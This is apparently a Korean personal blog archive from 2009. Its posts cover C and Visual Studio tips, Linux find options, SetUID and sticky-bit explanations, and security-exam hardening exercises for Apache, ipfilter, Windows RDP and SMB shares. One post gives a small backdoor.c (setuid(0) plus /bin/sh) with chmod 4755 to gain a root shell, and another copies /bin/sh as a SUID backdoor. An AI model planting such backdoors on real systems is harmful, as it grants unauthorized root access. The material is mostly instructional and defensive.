예전것/프로그래밍2009. 9. 12. 00:05

#pragma once 

C의 헤더 파일 최상단에서 자주 볼 수 있는 이 코드는 컴파일러에게 이 헤더 파일이 한번만 빌드되도록 알려주는 명령입니다. 

왜 넣어야 하냐면, A.h라는 파일이 여러 곳에서 복잡하게 #include 되어 쓰이게 된다면 그때마다 각각 정의가 추가되게 되어 중첩되는 경우가 발생됩니다. 이 경우 중복 정의되었다는 에러가 발생하게 되지요. 즉 같은 내용이 여러번 빌드되게 되는겁니다. 이를 막기위해 #pragma once가 필요합니다. 물론 컴파일시간도 줄여주므로 대부분의 헤더파일에 추가하기를 추천합니다.

 

예전것/프로그래밍2009. 9. 11. 22:11

: error C2664: 'MessageBoxW' : 매개 변수 2을(를) 'const char [35]'에서 'LPCWSTR'(으)로 변환할 수 없습니다.

이것은 visual studio2008 문자집합 기본셋팅이 유니코드로 되 있기 때문이라고 합니다.
해결책으로 MessageBox함수 대신에 MessageBoxA함수를 써주면 된다고 하나 이것은 그 함수들만의 임시방편.

솔루션 탐색기에서 프로젝트이름부분에 마우스 오른쪽클릭하셔서 속성누르신다음에
(최상단에 있는 솔루션 '????????' (1 프로젝트) <- 이거선택하시면 안됩니다! 중요! 그 바로아래꺼..)
구성속성을 클릭하시면 오른쪽 항목들중에 '프로젝트 기본값' 밑쪽에 보시면 '문자 집합' 이 있습니다.
보시면 '유니코드 문자 집합 사용' 이 되어있을텐데요. '멀티바이트 문자 집합 사용'으로 바꿔줍니다

예전것/Linux Basic2009. 9. 7. 22:16

SetUID는 보안에 치명적일수 있다고 전에 배웠다.
참고 : http://cheesev.tistory.com/entry/aboutSetUID

위 그림처럼 원본의 bash쉘을 /tmp 에 복사하고 4755 권한을 주었다.


원래 SetUID개념이라면 root권한으로 실행이 되어서 rm -rf 명령으로 지워져야하지만 이에 대한 보안노력이 있어 잘 먹히지 않는다. 약간의 트릭으로 이를 피해보자

backdoor.c라는 소스를 코딩하여 컴파일
#include<stdio.h>
main(){
        setuid(0);
        setgid(0);
        system("/bin/sh");
}

#gcc -o backdoor backdoor.c
#chmod 4755 backdoor
을 수행한후

#./backdoor
를 쳐보면

쉘 권한이 바뀐것을 볼 수있다.

아까 지우지 못했던 파일하나를 지워보자. 지워진다.



'예전것 > Linux Basic' 카테고리의 다른 글

vmware tool 설치 팁.  (0) 2010.06.03
vi setting  (0) 2010.04.02
find 옵션에 +,- 붙은것들  (0) 2009.09.07
SETSUID에 대하여  (0) 2009.09.07
rlogin, rsh 설치  (0) 2009.08.07
카테고리 없음2009. 9. 7. 17:03

문제
1. 중요한 데이터를 클라이언트에서 서버로, 그리고 서버에서 클라이언트로
전송되는 데이터를 128Bit로 암호화 하고 기본 윈도우 인증 체계를 사용하도록
설정하시오. (암호화 수준 : 높음)

2. 기본적인 터미널 서비스 포트 3389/tcp를 10004포트로 변경하시오.

step 1

제어판 - 관리 도구 - 터미널 서비스 구성 - 연결 - RDP-Tcp 더블 클릭
(암호화 수준을 '높음'으로 수정하고, '표준 Windows 인증 사용' 체크)


step 2

내 컴퓨터\HKEY_LOCAL_MACHINE\SYSTEM\CurrnetControlSet\Control\Terminal Server\WinStations\RDP-Tcp
내 컴퓨터\HKEY_LOCAL_MACHINE\SYSTEM\CurrnetControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp
('PortNumber'를 10004로 수정)

카테고리 없음2009. 9. 7. 00:53

시스템을 초기화하는 과정에서 find 프로그램을 이용하여 보안상 문제가 될 수 있는
파일이나 디렉토리를 찾아 적당한 퍼미션으로 변경하는 것이 중요하다.
따라서 아래의 과정은 시스템 초기화과정에서 중요한 단계라 할 수 있는데,
각각의 단계에 따라 문제가 될 수 있는 파일 또는 디렉토리를 찾아 파일로 저장하라.

* 외부에서 쓰기 권한이 설정된 디렉토리와 파일을 찾아/tmp/write.txt 로 저장하라.
* 소유자가 없는 파일을 찾아 /tmp/no_own.txt 파일로 저장하라.
* suid / sgid 가 설정된 파일을 찾아 /tmp/suid.txt 파일로 저장하라.


step 1
find / -perm -20 > /tmp/write.txt 2> /dev/null

step 2
find / -nouser -o -nogroup > /tmp/no_own.txt 2> /dev/null

step 3

find / -perm -04000 -o -perm -02000 > /tmp/suid.txt 2> /dev/null

(-o 의 의미는 or의 의미이다)
예전것/Linux Basic2009. 9. 7. 00:38
지식in에서 퍼옴
▶▶질문
find /home/guest -perm 744 // 권한이 744인 파일만 찾기
find /home/guest -perm -744 // ?
find /home/guest -perm +744 // ?
두 번째와 세 번째 명령에서 -, +가 붙으면 무슨 차이가 있나요?


▶▶답변
퍼미션은 권한을 나타내는 2진수들의 조합된 값입니다.

예들들어서 사용자 읽기 권한은 9번재 비트이며
2진수로 표기하면 100000000
8진수로 표시하면 400 입니다.

2진수 표현을 시각적으로 좀더 보기 쉽게 만든 것이 ls -l 했을 때 나오는 rwxr-xr-x 방식입니다.

100000000  = 400
r--------

11000000 = 600
rw------

8진수 표현을 많이 사용하는 이유는 3비트씩 딱 나눠서 떨어지기 때문입니다.
8진수 숫자 1자리는 3비트를 나타내기 때문에
읽기,쓰기,실행 3개를 하나의 숫자로 표현할 수 있기 때문이죠.

질문으로 돌아가서

-perm 744 는 권한이 정확하게 744인 경우입니다.

ls로 봤을때 rwxr--r-- 로 나오는 것이죠.


-perm -744 는 744(rwxr--r--)에 해당되는 퍼미션 비트를 모두 포함하고 있는 경우입니다.

rwxr--r-- (744), rwxr-xr-x (755) rwxrw-r-- (764)  등등등 이 모두 포함되겠죠.

-퍼미션은 권한의 최소값(?) 같은 개념이라고 생각하시면 되겠네요.


-perm +744 는 744에 해당되는 퍼미션 비트중 어느 하나라도 포함하고 있는것입니다.

r-------- (400), rw------- (600), ------r--(004) ... 등등 무지 많은 경우가 나오겠죠.

그래서 +퍼미션은 보퉁 하나나 두가지 정도의 아주 제한된 값을 조건으로 줄때 쓰는것입니다.


그룹 쓰기 권한, 또는 모든 사용자 쓰기 권한이 있는 파일은?  -perm +022

root 소유이면서 suid 비트+실행 권한을 가진 파일은? -user root -type f -perm -4111
(이건 보안 점검 같은때 많이 사용할 법한 명령입니다.
일반 사용자가 root 권한으로 실행할 수 있는 명령을 찾는거져)

'예전것 > Linux Basic' 카테고리의 다른 글

vi setting  (0) 2010.04.02
SetUID를 이용한 해킹  (0) 2009.09.07
SETSUID에 대하여  (0) 2009.09.07
rlogin, rsh 설치  (0) 2009.08.07
CentOS 5.3 그래픽 드라이버 설치  (0) 2009.08.04
예전것/Linux Basic2009. 9. 7. 00:31

★ SETUID에 대하여....

유닉스/리눅스 시스템에서의 파일모드는 아래와 같이 세자리 숫자로 되어 있다.
즉, 755(-rwxr-xr-x), 644(-rw-r--r--)와 같은 조합을 이루고 있다.

그런데 여기에 한자리의 숫자가 맨앞에 하나더 있다. 즉, 755의 경우 0755가 되는 것이다.
맨 앞의 숫자는 다음과 같은 의미를 가진다(0은 아무런 설정도 되어있지 않음을 의미).

SetUID
4
이 부분이 설정되면 실행시 그 파일의 소유자 권한으로
실행된다. 따라서 누가 그 파일을 실행하게 되면 실행시 실제로 그 파일의 소유권을 가진
유저가 실행하는 것과 같은 의미를 가지게 된다. 설정되면 권한에서 소유자의 실행(x)부분이
"s", "S"로 나타나게 된다.

SetGID
2
이 부분이 설정되면 실행시 그 파일의 소유그룹의 권한으로 실행된다. 위와 같은 의미이고,
설정되면 권한에서 소유그룹의 실행(x)부분이 "s", "S"로 나타난다.

Sticky bit
1
이 부분은 해당 파일의 소유자에게만 쓰기 권한을 제공한다. 이 부분이 설정되면
해당파일, 디렉토리는 public에게 쓰기가 되어있다고 하더라도 해당파일의 소유자가 아니면
쓰기에 관련된 작업을 할 수 없다.
설정되면 public의 실행(x)부분이 "t", "T"로 나타난다.  

[SetUID, SetGID, sticky bit의 의미]

SUID, SGID, Sticky bit의 설정과 제거는 아래와 같이 chmod 명령으로 한다.
○ SUID
chmod u+s filename : filename 파일의 user에게(u) SUID 비트를(s) 부여한다.
or,
chmod 4*** filename : SUID 비트는 8진수로 4의 값을 갖는다. *** 자리에는 755 등과 같은
기존의 8진수 모드 값이 오게 된다.

[ex]

위에서 xl이라는 스크립트에 SUID를 설정할 경우,

[bluesky@bluestar bluesky]# ls -l xl

-rwxr-xr-x 1 root root 2886 Apr 29 2000 xl

[bluesky@bluestar bluesky]# chmod u+s xl

[bluesky@bluestar bluesky]# ls -l

-rwsr-xr-x 1 root root 2886 Apr 29 2000 xl


이렇게 suid 비트가 설정이 되면 다른 유저가 xl이라는 스크립트를 실행할 때 루트의 권한을
가질수 있게 된다. 

○ SGID
chmod g+s filename : filename 파일의 group에게(g) SGID 비트를(s)를 부여한다.
or,
chmod 2*** filename : SGID 비트는 8진수로 2의 값을 가진다. 마찬가지로, *** 자리에는
755와 같은 기존 8진수 모드의 값이 온다.

[ex]
위에서 xlock-exploit라는 스크립트에 SGID를 설정할 경우,

[bluesky@bluestar bluesky]# ls -l xlock-exploit

-rwxr-xr-x 1 root root 6018 Apr 29 2000 xlock-exploit

[bluesky@bluestar bluesky]# chmod g+s xlock-exploit

[bluesky@bluestar bluesky]# ls -l xlock-exploit

-rwxr-sr-x 1 root root 6018 Apr 29 2000 xlock-exploit  

○ Sticky bit

chmod o+t filename : filename 파일 또는 디렉토리에 Sticky bit를 부여한다.

chmod 1*** filename : Sticky bit의 8진수 값은 1이다.

[ex]

예를 들어, 위에서 shell_scripts라는 디렉토리에 sticky bit를 설정하려고 할 경우,

[bluesky@bluestar bluesky]# ls -l shell_scripts

drwxrwxr-x 2 bluesky bluesky 1024 Apr 20 2000 shell_scripts

[bluesky@bluestar bluesky]# chmod o+t shell_scripts

[bluesky@bluestar bluesky]# ls -l shell_scripts

drwxrwxr-t 2 bluesky bluesky 1024 Apr 20 2000 shell_scripts


각각의 설정을 제거하려고 할 경우는 + 대신에 -를 사용한다.

그리고 위에서 SUID, SGID, Sticky bit 설정시 실행(x)부분에 "s", "S"
또는 "t", "T"로 나타난다고 했는데, 소문자의 경우는
이미 기존의 파일에 실행권한이 부여되어 있는경우에 SUID,SGID,Sticky bit를
설정시에 나타나게 되고, 대문자(S, T)의 경우는 기존의 파일에 실행권한이
없는 상태에서 SUID, SGID, Sticky bit를 설정할 경우에 나타나게 된다.
즉, 대문자인 경우는 기존 파일의 권한에서 실행권한이 없는 상태에서 설정했기
때문에 SUID,SGID 등을 설정해도 실행은 되지 않는다. 즉, 대문자로 나타나는
경우는 동작되지 않음을 의미한다.


예를 들어 아래와 같이 실행권한이 없는 suid란 파일에 SUID 비트를 설정해보면,

[bluesky@bluestar bluesky]# ls -l suid

-rw-rw-rw- 1 bluesky bluesky 2290 May 6 2000 suid <- 실행권한 없음

[bluesky@bluestar bluesky]# chmod u+s suid

[bluesky@bluestar bluesky]# ls -l suid

-rwSrw-rw- 1 bluesky bluesky 2290 May 6 2000 suid <- 대문자 S

[bluesky@bluestar bluesky]# ./suid

bash: ./suid: Permission denied


지금까지는 전반적인 내용과 설정법에 대해 알아보았는데, 그렇다면 실제로 유닉스
시스템에서 어떻게 사용되고 있는지 알아보자.


유닉스/리눅스 시스템에서 사용자가 자신의 패스워드를 바꾸려고 할 때
passwd(/usr/bin/passwd)란 명령을 사용한다. 이 명령을 사용하여 사용자는
/etc/passwd란 파일을 수정하여 자신의 패스워드를 변경하게 된다.

그런데 /etc/passwd란 파일의 접근권한을 보면,

[bluesky@bluestar bluesky]# ls -l /etc/passwd

-rw-r--r-- 1 root root 930 Mar 5 04:38 /etc/passwd


즉, root 유저만 이 파일을 수정할 수가 있다. 그런데 어떻게 일반 사용자가
이 파일을 수정하여 자신의 패스워드를 변경할 수가 있는가??


그 비밀은 passwd(/usr/bin/passwd)란 파일의 접근권한(즉, SUID)에 있다. 이 파일의
접근권한을 보면,

[bluesky@bluestar bluesky]# ls -l /usr/bin/passwd

-r-sr-xr-x 1 root bin 58306 Apr 13 1999 /usr/bin/passwd


위와 같이 /usr/bin/passwd란 파일은 root 유저에게 SUID 비트가 설정되어 있다.
그러므로 일반 사용자들도 이 파일을 실행하고 있는 동안에는 root의 권한을
잠시 빌려쓸 수 있게 되고 그리하여 root 만 변경할 수 있는 파일인 /etc/passwd 파일도
수정하여 자신의 패스워드를 변경할 수가 있는 것이다.

 

이번에는 Sticky bit의 사용에 대해 알아보자.

유닉스/리눅스 시스템에서 /tmp 디렉토리의 권한을 보면,

[bluesky@bluestar bluesky]# ls -l /tmp

drwxrwxrwt 15 root root 1024 Mar 8 23:27 tmp


위를 보면 /tmp 디렉토리의 권한이 1777(rwxrwxrwt)로 설정되어 있다.
이 디렉토리가 sticky bit가 설정이 되어 있는데, 일반적으로 /tmp 디렉토리는
많은 유저들이 임시적으로 파일을 생성하거나 복사하여 작업하는 디렉토리이다.

그런데 만약 A라는 유저가 파일을 /tmp 에 만들었는데 B라는 유저가 이 파일을
보고 지워버린다면 어떻게 되겠는가??
바로 이런 불상사를 막기 위해서 /tmp 디렉토리에 sticky bit가 설정되어 있는데
이렇게 sticky bit가 설정되어 있으면 해당 디렉토리내에서 다른 유저들이 만들어
놓은 파일들을 보거나 실행은 가능하지만 지우거나 변경을 할 경우에는
반드시 그 파일의 소유자의 권한이 있어야만 한다. 즉, 해당 파일의 소유자만이
그 파일을 변경하거나 지울 수가 있는 것이다.

이러한 suid는 위와 같이 매우 유용하게 사용될 수 있는 반면 보안상으로 매우
취약한 약점을 가지고 있다. 여기서 suid가 왜 문제가 되는지 간단한 예를 하나 들어보자.


예를 들어 시스템 관리자가 관리자용으로 따로 만든 계정이 아닌 그냥 root로 작업을
하고 있다가 잠시 자리를 비웠다고 가정해 보자.
이때, 이 시스템에 hacker란 계정을 가진 사람이 들어와서 아래와 같이 했다면 큰일이다.

[root@bluestar /root]# cp /bin/sh /home/hacker

[root@bluestar /root]# chmod 4775 /home/hacker/sh

[root@bluestar /root]# ls -l /home/hacker/sh

-rwsrwxr-x 1 root root 373304 Mar 23 04:05 /home/hacker/sh


위와 같이 해두면 hacker란 사용자는 다음에 자신의 계정으로 로긴한 후 이 훔친
shell(일종의 백도어이다.)을 이용하여 언제라도 root가 될 수 있으니 얼마나 위험한
일인가...다음은 그 과정을 보여준다.

[hacker@bluestar hacker]$ <-- hacker가 자신의 계정으로 로긴..

[hacker@bluestar hacker]$ whoami

hacker

[hacker@bluestar hacker]$ ls -l

-rwsr-xr-x 1 root root 373304 Mar 23 04:05 sh

[hacker@bluestar hacker]$ ./sh <-- root의 권한으로 shell을 실행시킴(root shell 획득...)

[hacker@bluestar hacker]#whoami(프롬프트가 $->#으로 바뀐것을 주목..)

root

이후의 일은 끔찍함 그자체.... ^_^


그러므로 시스템 관리자는 화면 잠금없이 자리를 비우는 일이 없도록 해야하며,
수시로 아래명령으로 불필요하게 suid/sgid 설정이 되어있는 화일이 없는지 확인해야 한다.
(보안툴을 이용해서 점검이 가능..)

[root@bluestar /root]# find / -perm -4000 -o -perm -2000 -print

위에서 SUID,SGID에 대해서 알아보았는데, 만약 중요한 실행파일들이 사용자들에게
root의 소유이면서 suid가 설정되어 있다면 그 실행파일로 인해서 대부분의 침입자들은
root 유저의 권한을 얻거나 시스템을 파괴하려들 것이다. 따라서 불필요한
SUID는 제거해야 한다. 시스템에 있는 모든 SUID/SGID를 찾아내어 그러한 설정 비트들이
왜 붙어 있는지를 따져보고 불필요한 suid, sgid라면 제거를 해야하고, 만약 전에
없던 suid 비트가 어떤 실행파일에 설정되어 있다면 침입의 여부를 꼼꼼히 살펴보아야 할 것이다.


suid/sgid가 설정된 파일을 찾을 때는 아래와 같은 명령을 사용한다.


[bluesky@bluestar bluesky]# find / -type f ( -perm -04000 -o -perm -02000 )

or,

[bluesky@bluestar bluesky]# find / -perm -4000 -o -perm -2000 -print 2>/dev/null


이렇게 해서 나온 결과들을 보고 해당 실행파일에 불필요하게 suid/sgid가 설정이 되어
있다면 바로 제거해야 한다. suid와 sgid는 잠재적인 보안 위험 요소이며 철저하게 감시되어야 한다.

만약 크래커가 여러분의 시스템에 사용권을 얻게되고, 특히 시스템 파일이나 월드 라이터블(World-writable)
파일들을 변경할 수 있게되면 심각한 보안 개구멍이 존재하게 된다.(월드 라이터블이란 public 부분이
쓰기 가능한 경우이다. 즉, "--------w-"의 권한 비트를 말한다)
또한 월드-라이터블 디렉토리도 위험하다. 그래서 이러한 파일 및 디렉토리들도 찾아보고 왜
"쓰기가능"으로 설정되어 있는지 따져보아야 하며 불필요한 경우에는 "쓰기가능"을 제거해 주어야 한다.

정상적인 운영에 있어서 /dev의 일부와 심볼릭 링크를 포함한 여러 파일들이 라이터블로 되어 있을 수 있다.


이러한 World-writable 파일들을 찾는 명령은 아래와 같다.

[bluesky@bluestar bluesky]# find / -perm -2 -print


또한 무소속의 파일들 또한 침입자가 시스템에 들어왔다는 징후일 수 있으므로 주인이 없거나 그룹에
소속되어 있지 않는 파일들이 없는지 아래의 명령으로 찾아보아야 한다.

[bluesky@bluestar bluesky]# find / -nouser -o -nogroup -print


마지막으로 리모트 호스트(.rhosts) 파일들 또한 반드시 살펴보아야 한다. 시스템내의 /home 디렉토리 내의 임의의
사용자의 디렉토리내에 이러한 파일이 있다는 것은 시스템에 암호없이 들어올 수 있는 특정 호스트가 존재한다는 것이기
때문에 매우 위험하다.

이러한 .rhosts 파일들을 찾기위해서는 다음과 같이 한다.

[bluesky@bluestar bluesky]# find /home -name .rhosts -print

/home/bluesky/.rhosts

[bluesky@bluestar bluesky]# rm /home/bluesky/.rhosts

rm: remove `/home/bluesky/.rhosts'? y 

[출처] SETUID에 대하여....|작성자 ca66044

다른곳. setuid setgid 설명되어있는곳
http://lovelettee.tistory.com/tag/sgid

'예전것 > Linux Basic' 카테고리의 다른 글

SetUID를 이용한 해킹  (0) 2009.09.07
find 옵션에 +,- 붙은것들  (0) 2009.09.07
rlogin, rsh 설치  (0) 2009.08.07
CentOS 5.3 그래픽 드라이버 설치  (0) 2009.08.04
emacs의 설정  (0) 2009.07.16

침해사고 피해시스템을 분석하는 중, 외부 IP(200.200.200.1)에서 지속적으로
telnet 접속했던 것이 확인되었다. 해당 피해시스템은 Apache 웹서버이고 웹서버의
option 설정은 디폴트로 되어 있었다. 조사결과 침입자는 웹서버의
디렉토리 리스팅 취약점을 이용하여 passwd, shadow 파일을 읽은 후
패스워드를 크랙한 것으로 추정된다. 비인가된 재접속을 막기 위하여
다음과 같이 보안조치를 하시오.

1. 웹서버 Option 설정변경 : Server-side includes(exec 기능 제외) 기능만
가능하도록 설정
2. 패스워드 정책변경 : passwd 유효기간을 8주, 8자리 이상으로 강제함
3. 공격IP에서의 접근제한 설정 : ipfilter를 이용하여 200.200.200.1에서의 접근을
제한

2> /dev/null의 의미알기

/dev/null의 의미는 아무것도 아닌곳을 의미한다. null 장치라고 보면된다.


1의 의미는 STDOUT(standard output)
2의 의미는 STDERR(standard error)

STDOUT은 표준출력으로 정상적인 메시지를 출력하고
STDERR은 표준에러로 에러메시지를 출력하는것이다.

위의 의미는 STDOUT 또는 STDERR 출력을 /dev/null로 redirection한다는 의미이다.

문제풀이
웹서버 설정 파일 경로를 찾아서 내용을 찾아서 수정하고 httpd 데몬을 재시작한다
# find / -name httpd.conf 2> /dev/null
/usr/local/apache/conf/httpd.conf
# vi /usr/local/apache/conf/httpd.conf
# This may also be "None", "All", or any combination of "Indexes",
# "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
Options IncludesNOEXEC
# pkill httpd
# /usr/local/apache/bin/httpd start

패스워드 정책을 변경해준다.
# vi /etc/default/passwd
#ident  "@(#)passwd.dfl 1.3     92/07/14 SMI"

MAXWEEKS=8
MINWEEKS=0
WARNWEEKS=1
PASSLENGTH=8

공격자 IP를 접근제한을 해주고, ipfilter를 재시작 해준다.

# vi /etc/opt/ipf/ipf.conf
#
# The following routes should be configured, if not already:
#
route add 211.241.82.54 localhost 0
#

block in log quick from any to any with ipopts
block in log quick proto tcp from any to any with short
pass out on eri0 all head 250
block out from 127.0.0.0/8 to any group 250
block out from any to 127.0.0.0/8 group 250
block out from any to 211.241.82.54/32 group 250
pass in on eri0 all head 200
block in from 127.0.0.0/8 to any group 200
block in from 211.241.82.54/32 to any group 200

# block reserved networks
block in quick from 192.168.0.0/16 to any
block in quick from 172.16.0.0/12 to any
block in quick from 10.0.0.0/8 to any
block in quick from 200.200.200.1/32 to any

# block Back Orifice and NetBus
block in quick proto tcp from any to any port = 12345
block in quick proto tcp from any to any port = 12346
block in quick proto tcp from any to any port = 20034
block in quick proto udp from any to any port = 31337
# pkill  ipmon
# /usr/sbin/ipmon start
문제
1. 윈도우 서버는 기본적으로 원격 컴퓨터에서 익명 연결을 허용하고 있다.
익명 접근을 통해 서버에서 획득 가능한 정보들로는 로컬컴퓨터의 사용자명,
그룹정보, 공유자원 정보, 네트워크 정보 등이다.
이러한 위험에 대비하기 위해 원격 컴퓨터에서 익명 사용자의 접근을
차단하도록 레지스트리 값을 설정하여라.

2. 바이러스, 해킹은 공유된 폴더나 관리용 폴더를 통해 전파되는 특성이 있다.
특히 관리용 폴더는 초기 공유 폴더 이름이 모든 컴퓨터 마다 동일하게
적용되어 있으므로 유추가 매우 쉽다. 시스템이 자동으로
관리 공유(IPC$,C$,D$등)를 만들지 않도록 레지스트리 값을 설정하여라.

3. 익명 사용자가 서버 공유 폴더 명을 확인하지 못하도록 'c:\data'를 data이름을
가진 숨김 공유로 만들어라.


내 컴퓨터\HKEY_LOCAL_CACHINE\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
--> 익명 사용자의 접근 차단 : 값을 2로 변경

내 컴퓨터\HKEY_LOCAL_CACHINE\SYSTEM\CurrentControlSet\Service\lanmanserver\parameters
-->관리 공유 생성 차단 : 새로 만들기 - DWORD 값 추가 - 'AutoShareServer'란 이름으로 생성

실행 - cmd
숨김공유로 만들기.
net share data$=c:\data
예전것/Linux Basic2009. 8. 7. 00:19
http://werdream.egloos.com/398482

여기에 잘 나와있다.

'예전것 > Linux Basic' 카테고리의 다른 글

find 옵션에 +,- 붙은것들  (0) 2009.09.07
SETSUID에 대하여  (0) 2009.09.07
CentOS 5.3 그래픽 드라이버 설치  (0) 2009.08.04
emacs의 설정  (0) 2009.07.16
리눅스에서 키설정 & 디버깅  (0) 2009.07.16